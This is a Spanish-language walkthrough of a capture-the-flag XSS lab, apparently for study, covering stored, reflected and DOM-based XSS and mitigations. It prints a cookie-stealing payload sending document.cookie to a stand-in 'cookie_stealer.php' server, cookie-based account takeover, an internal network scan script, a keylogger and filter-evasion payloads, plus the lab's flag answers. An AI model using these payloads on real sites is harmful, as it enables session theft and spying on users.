Qué es el Cross-site Scripting (XSS)

Es una vulnerabilidad que se suele encontrar en aplicaciones web, un tipo de inyección que puede permitir a un atacante ejecutar scripts maliciosos en la máquina de la víctima.

Una aplicación web es vulnerable a XSS si usa entradas de usuario no saneadas.

El XSS es posible en javascript, VBScript, Flash y CSS.

La extensión y severidad de esta vulnerabilidad depende del tipo de XSS, que normalmente se divide en 2 categorías:

  • Persistente o almacenada.
  • Reflejada.

Dependiendo de cómo sea, son posibles los siguientes ataques:

  • Robo de cookies. Robando tu cookie desde una sesión autenticada, permitiendo al atacante identificarse como tú sin tener que proveer esa identificación.
  • Keylogging, es decir, registrar cualquier evento de teclado mediante un escuchador y mandar eso que tecleas a su propio servidor.
  • Pantallazo webcam. Usando capacidades HTML5 es posible capturar pantallazos de una cámara web.
  • Phishing. Un atacante puede insertar formularios de autenticación falsos en la página o redirigir a un clon del sitio, engañando para que reveles datos sensibles.
  • Escaneo de puertos. Se puede usar XSS almacenado para escanear una red interna e identificar otros hosts en esa red.
  • Otros exploits basados en el navegador. Hay millones de posibilidades con el XSS.

Y todo, por visitar una web.

Desplegamos la máquina de prácticas de esta habitación y navegamos hasta la IP de la misma para comenzar.

XSS almacenado

Este es el tipo de XSS más peligroso y se produce cuando una cadena maliciosa se origina desde la base de datos de la web. Esto ocurre a menudo cuando una web permite al usuario introducir cosas sin sanear a la hora de insertar en dicha base de datos.

Ejemplo de XSS almacenado

Un atacante crea un payload en un campo cuando se registra en un sitio. Si ese campo no ha sido saneado, cuando alguien visite dicho campo en la página, ejecutará el payload para todo el que visite la web.

Puede ser algo tan simple como:

<script>alert(1)</script>

Este código se ejecutará en cualquier navegador que muestre los datos maliciosos que se han insertado en la base de datos.

Nos vamos a la parte de XSS almacenado de la máquina de pruebas de esta habitación.

Lo primero es añadir un comentario y ver si podemos insertar nuestro propio html, si es así, se revelará la respuesta que hay que poner.

HTML_T4gs

Ahora, debemos crear una alerta que aparezca en la página y que muestre las cookies del documento.

En javascript, lo hacemos así.

<script>window.alert(document.cookies);</script>

Sin embargo, aunque es correcto, la respuesta la da con este otro script.

<script>alert(document.cookies)</script>

W3LL_D0N3_LVL2s

Ahora debemos cambiar el título de la página: “XSS Playground” a “I am a hacker” añadiendo un comentario y usando javascript.

Ojo, porque no se refiere a cambiar el título de la página con document.title (que no funciona), sino a cambiar el título visible que hay al lado del logo en la página.

Título a cambiar

Para eso, debemos saber primero qué elemento es ese, inspeccionando.

Cuando lo hacemos, nos sale:

<span id="thm-title">XSS Playground</span>

O sea, que el id que busco porque debo cambiarlo es thm-title, de modo que puedo usar el método de document getElementById(“id_a_cambiar”).

<script>document.getElementById("thm-title").innerHTML = "I am a hacker";</script>

Eso nos da la respuesta en el cuerpo de la página:

websites_can_be_easily_defaced_with_xss

La alternativa que propone la página en su pista es:

document.querySelector('#thm-title').textContent = 'Hey'

La siguiente tarea es tomar la cuenta de Jack robando su cookie.

Nos lo ponen fácil, según las pistas, porque si hacemos la petición /log/hello nos registra hello.

La página /logs mostrará todo lo registrado en la URL /log/cualquier_texto

La cuestión es que para robar una cookie, necesitamos pasar dicha cookie a un servidor donde escribirla una vez usando el parámetro document.cookie,

Podemos hacerlo con:

document.location='http://servidor/cookie_stealer.php'+document.cookie

Así que el comentario sería algo así en este caso:

<script>document.location='http://IP_Objetivo/log/'+document.cookie</script>

Y si visiatmos /logs veremos el registro de la cookie. Como nos lo han puesto fácil, ese registro pertenece a jack, así que copiamos el valor de esa cookie que hay /logs y eso nos da la respuesta a la primera pregunta, el valor de dicha cookie.

s%3Aat0YYHmITnfNSF0kM5Ne-ir1skTX3aEU.yj1%2FXoaxe7cCjUYmfgQpW3o5wP3O8Ae7YNHnHPJIasE

Y ahora, ponemos un comentario como jack, para eso, tenemos que cambiar el valor de nuestra cookie por el de arriba y comentar.

Estoy en Chrome ahora mismo, así que cambio el valor en Inspeccionar > Application > Cookies > Value.

Cambiando el valor de mi cookie

Y de esa manera me aparece la respuesta en la página cuando comento cualquier cosa.

c00ki3stealing

XSS reflejado

En un ataque de XSS reflejado, el payload malicioso es parte de la petición de la víctima al sitio web. La página incluye este payload como respuesta al usuario.

O lo que es lo mismo: el atacante necesita engañar a la víctima para que haga clic en una URL y ejecute el payload malicioso.

Esto puede parecer inofensivo, ya que requiere que la víctima envíe una petición conteniendo el payload del atacante y un usuario no se atacaría así mismo. No obstante, los atacantes pueden engañar al usuario para hacer clic en un enlace elaborado que contenga su payload, ya sea vía ingeniería social, email, etc.

El XSS reflejado es el ataque XSS más común.

Esquema de ataque XSS reflejado

El atacante envía una URL conteniendo el payload, la víctima hace clic y la petición podría ser:

http://example.com/search?keyword=<script>...</script> 

La web incluye el payload de la petición en la respuesta al usuario. El navegador de la víctima ejecuta el payload dentro de la respuesta.

Los datos que ha acumulado el script son enviados de vuelta al atacante. No necesariamente desde la víctima, podría ser desde otro sitio en el que el atacante va agregando los datos, lo cual protege al atacante.

Respondamos a las cuestiones planteadas.

Construye un payload de XSS reflejado que provoque un popup que diga “Hello”.

En la barra de búsqueda que aparece, ponemos:

<script>alert("Hello")</script>

Y aparece la respuesta en otro popup.

ThereIsMoreToXSSThanYouThink

Contruye un payload de XSS reflejado que ejecute una ventana con la dirección IP de la máquina objetivo.

Eso lo podemos conseguir con window.location.hostname según la pista, porque su nombre, en este caso, es la IP.

<script>alert(window.location.hostname)</script>

Y aparece la respuesta:

ReflectiveXss4TheWin

XSS basado en DOM

DOM significa Document Model Object o Modelo de Objeto de Documento, y es un interfaz de programación para documentos XML y HTML. Representa a la página, de manera que los programas pueden cambiar a estructura del documento, su estilo y contenido.

Una página web es un documento y este puede ser mostrado en la ventana del navegador o como fuente HTML.

He aquí un diagrama del DOM HTML.

Esquema de DOM HTML

Con el modo objeto, Javascript tiene todo el poder que necesita para crear HTML dinámico. Más información aquí.

En un ataque XSS basado en DOM, el navegador no interpreta (parse) un payload malicioso hasta que el javascript legítimo de la página se ejecuta.

¿Qué implica esto?

Con XSS reflejado, un payload se inyecta directamente en el sitio y no importa si el resto de Javascript carga o no.

<html>
    You searched for <em><script>...</script></em>
</html 

Con XSS basado en DOM, el payload solo será ejecutado cuando el código javascript vulnerable se cargue o se interactúe con él. Va a través de una función javascript como por ejemplo:

var keyword = document.querySelector('#search')
keyword.innerHTML = <script>...</script>

Respondamos a las preguntas.

Analicemos el código fuente de la página de DOM-based XSS y pensemos una manera de ejecutar una alerta con las cookies.

La pista dice que tratemos de usar:

test" onmouseover="alert('Hover over the image and inspect the image element')"

En la parte final hay un script:

<script>
      // LOOK HERE!
      document.querySelector('#update').addEventListener("click", function() {
        let imgURL = document.querySelector('#img-url').value // input URL
        const imgEl = document.querySelector('#img') // Image div element
        imgEl.innerHTML = '<img src="' + imgURL + '" alt="Image not found.." width=400>' // Creating image element
      });
    </script>

Por lo que veo, podríamos explotar imgEl.innerHTML ya que concatena la URL de la imagen imgURL que es lo que introducimos en el campo de formulario de URL de imagen.

Probamos a introducir lo que nos dice en la pista.

test" onmouseover="alert('Hover over the image and inspect the image element')"

Con test” cerramos el src=” de modo que queda src=“” y luego concatenamos una alerta con el evento onmouseover.

Cambiamos ahora para mostrar las cookies del documento.

test" onmouseover="alert(document.cookie)"

Aparece una respuesta.

BreakingAnElementsTag

Ahora debemos crear un evento onhover en una etiqueta imagen que cambie el color del fondo de la web a rojo.

La propiedad javascript es:

document.body.style.backgroundColor = "red";

Que es lo que nos dice la pista.

Podríamos construir:

test" onhover="document.body.style.backgroundColor = 'red'" # no va
test" onmouseover="document.body.style.backgroundColor = 'red'" # esto  funciona

JavascriptIsAwesome

Usando XSS para escaneo de IP y puertos

Una de las habilidades del XSS es que, entre las trastadas que podemos hacer, está la de escanear la red interna de la víctima y comprobar qué puertos tiene abiertos.

Se puede usar javascript para hacer peticiones a un rango de direcciones IP y determinar cuál responde.

En la página correspondiente hay un script para escanear la red interna.

<script>for (let i = 0; i < 256; i++) { // This is looping from 0 to 255
  let ip = '192.168.0.' + i // Creates variable for forming IP
  // Creating an image element, if the resource can load, it logs to the /logs page.
  let code = '<img src="http://' + ip + '/favicon.ico" onload="this.onerror=null; this.src=/log/' + ip + '">'
  document.body.innerHTML += code // This is adding the image element to the webpage
 }
</script>

El método del script solo funciona en servidores web, ya que busca la imagen del favicon.

En esta página hay un escáner más completo.

Key-logger con XSS

Javascript también puede usarse para registrar pulsaciones de teclas y crear un keylogger.

Ejemplo de script propuesto en la página:

<script type="text/javascript">let l = ""; // Variable to store key-strokes in
 document.onkeypress = function (e) { // Event to listen for key presses
   l += e.key; // If user types, log it to the l variable
   console.log(l); // update this line to post to your own server
 }
</script>

Podemos adaptarlo y usarlo en la página de XSS almacenado, luego teclear y ver qué aparece en la página de logs que hemos visto antes.

Evasión de filtros

Se usan muchas técnicas para filtrar payloads maliciosos de XSS. En esta sección, nuestra tarea será evadir 4 filtros que se usan habitualmente.

Para eso, vamos a la sección de Evasión de filtros de la máquina de esta habitación y responderemos a las preguntas.

En cada desafío, debemos provocar una alerta que diga «Hello» y la respuesta a conseguirlo será en formato de 32 caracteres.

Investigando, hay una hoja resumen de evasión de filtros XSS de Owasp que nos puede ser útil.

Evade el filtro que quita cualquier etiqueta script.

Esta técnica funciona en generar la alerta al pasar el ratón, pero no nos la concede como buena, pero está bien saberla.

<IMG SRC=# onmouseover="alert('hello')">

Como estoy en Chrome, funciona esta técnica de etiquetas a de enlace html mal formadas.

\<a onmouseover="alert('Hello')"\>Enlace XSS</a\>

No obstante, funciona también poniendo el enlace en html normal, sin escapar los caracteres de etiqueta <>, ya que este filtro simplemente quita las que son script.

3c3cf8d90aaece81710ab9db759352c0

En el siguente desafío, lo que se filtra es la palabra alert. Así que pruebo con otro método para sacar una ventana popup como prompt y me da la respuesta.

<script>prompt("Hello")</script>

a2e5ef66f5ff584a01d734ef5edaae91

Ahora es la palabra Hello lo que se filtra y hemos de evadir eso.

Si utilizo el método de codificar en Base64 la palabra Hello y decodificarla en tiempo real con la función atob, consigo la alerta que me pide, pero no me da la respuesta, buuuu.

<a onmouseover="alert(atob('SGVsbG8='))">Enlace XSS</a>

Aunque directamente con la etiqueta script no consigo ni disparar la alerta, ni con Hello ni con otra palabra, así que ese método a priori está filtrado también o no sé qué pasa.

<script>alert(atob('SGVsbG8='))</script>

También consigo la alerta concatenando cadenas de texto y separando así Hello para juntarla en tiempo de ejecución. La ventana de alerta es correcta de nuevo, pero tampoco me concede la cadena de texto de solución.

<a onmouseover="alert('Hel'+'lo')">Enlace XSS</a>

Escapando cada caracter también sale la alerta, pero tampoco me da la solución.

<a onmouseover="alert('\H\e\l\l\o')">Enlace XSS</a>

Cuando pongo

\<a onmouseover="alert('Hello')"\>Enlace XSS</a\>

La alerta sale en blanco, pero sí me da la solución. En fin.

Para el cuarto desafío, está filtrado lo siguiente:

  • La palabra “Hello”
  • script
  • onerror
  • onsubmit
  • onload
  • onmouseover
  • onfocus
  • onmouseout
  • onkeypress
  • onchange

Casi nada. Efectivamente, parece que onmouseover está filtrado y lo de antes no sirve.

Con onclick y concatenando cadenas saco la alerta correcta, pero no me da solución. Lo mismo si escapo los caracteres o los codifico y decodifico con atob como más arriba, saco la alerta correcta con Hello, pero no me concede la solución, eah.

<a onclick="alert('Hel'+'lo')">Enlace</a>

Al final, como está un poco roto esto, he mirado la solución, lo confieso. Si usamos.

<img src="blah" ONERROR="alert('HHelloello')" />

Nos sale la alerta y nos da la solución. Ojo al ONERROR, es en mayúsculas, pero en minúsculas no funciona. Pues vale.

2482d2e8939fc85a9363617782270555

Métodos de protección y otros Exploits

Hay muchas maneras de prevenir el XSS, he aquí 3 habituales.

  1. Escapar. Escapamos todo el input del usuario. Esto significa que cualquier dato que reciba la aplicación es seguro antes de interpretarlo y renderizarlo para nuestros usuarios finales. Con esto, los caracteres clave recibidos no serán interpretados de manera maliciosa. Por ejemplo, podemos no permitir que <> sean renderizados.
  2. Validar el input. La validación del input es no permitir que ciertos caracteres se envíen. De esta manera, al no aceptarlos en primera instancia, no pueden hacer daño.
  3. Sanear. Es una técnica potente, pero no se debería usar por sí sola para defenderse el XSS. Es útil para sitios web que permiten markup HTML, cambiando el input inaceptable por uno aceptable. Por ejemplo, se puede sanear < cambiando a la entidad HTML &#60;

Otros exploits

El XSS se ignora a menudo, pero puede tener tanto impacto como otras vulnerabilidades. A menudo, es cuestión de encadenar varias vulnerabilidades para producir un exploit más grande y poderoso.

A continuación, se muestran algunas herramientas interesantes.

BeEf (Browser Exploitation Framework) es una herramienta de pruebas de penetración que se centra en el navegador. El concepto es que «enganchas» un navegador (usando XSS) y eres capaz de lanzar y controlar una serie de ataques.

Permite calibrar la seguridad actual de un entorno objetivo usando vectores de ataque de la parte de cliente.

En kali podemos ejecutarlo con.

beef-xss

También nos dice que visitemos Xss-payloads.com, pero no funciona.

Sin embargo, he aquí una lista interesante de payloads XSS.